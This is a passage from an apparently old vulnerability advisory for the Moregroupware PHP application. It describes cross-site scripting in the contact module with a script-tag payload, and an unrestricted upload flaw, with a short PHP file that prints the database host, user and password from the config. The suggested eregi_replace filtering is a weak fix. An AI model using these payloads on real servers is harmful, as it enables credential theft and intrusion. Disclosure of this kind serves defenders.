2. DETAILS
=================================================

- Cross Site Scripting :

Many exploitable bugs was found in Moregroupware which cause script
execution on client's computer.

This kind of attack known as "Cross-Site Scripting Vulnerability"
is present in many section of the web site, an attacker can input
specially crafted links and/or other malicious scripts.

- Upload files :

When you upload a file on the server you can upload some html files or
php files. You can grab or change some informations with this
possibility.


3. EXPLOIT
=================================================

- Cross Site Scripting (many pages are infected) :

http://[target]/moregroupware/modules/contact/index.php?

You can add a contact and put <script>alert();</script>, alert(); can be
replaced by a malicious script.

A dialog box is opened on the client browser.

Impact is relatively low, as this is a closed group application.
People having access should be 'trustable'.


- Upload files :

You can upload a file like file.php:
<?php

include('../../../config.inc.php');

echo $appconf['dbvendor'];
echo $appconf['dbhost'];
echo $appconf['dbuser'];
echo $appconf['dbpassword'];
echo $appconf['dbname'];
?>

And access it directly :
http://[target]/moregroupware/modules/files/store/file.php

This file is executed on the server and the information is divulged
to the hacker.


4. SOLUTIONS
=================================================

- Cross Site Scripting :
Use the function php eregi_replace to filter the input data.


5. WORKAROUND
=================================================

- Upload files :
Secure this module by replacing file extension or specify to the web
serveur not to execute this files. A better way for this problem is
to set permissions on the store/ directory so that only the webserver can
read the files. A simple fix that actually works.
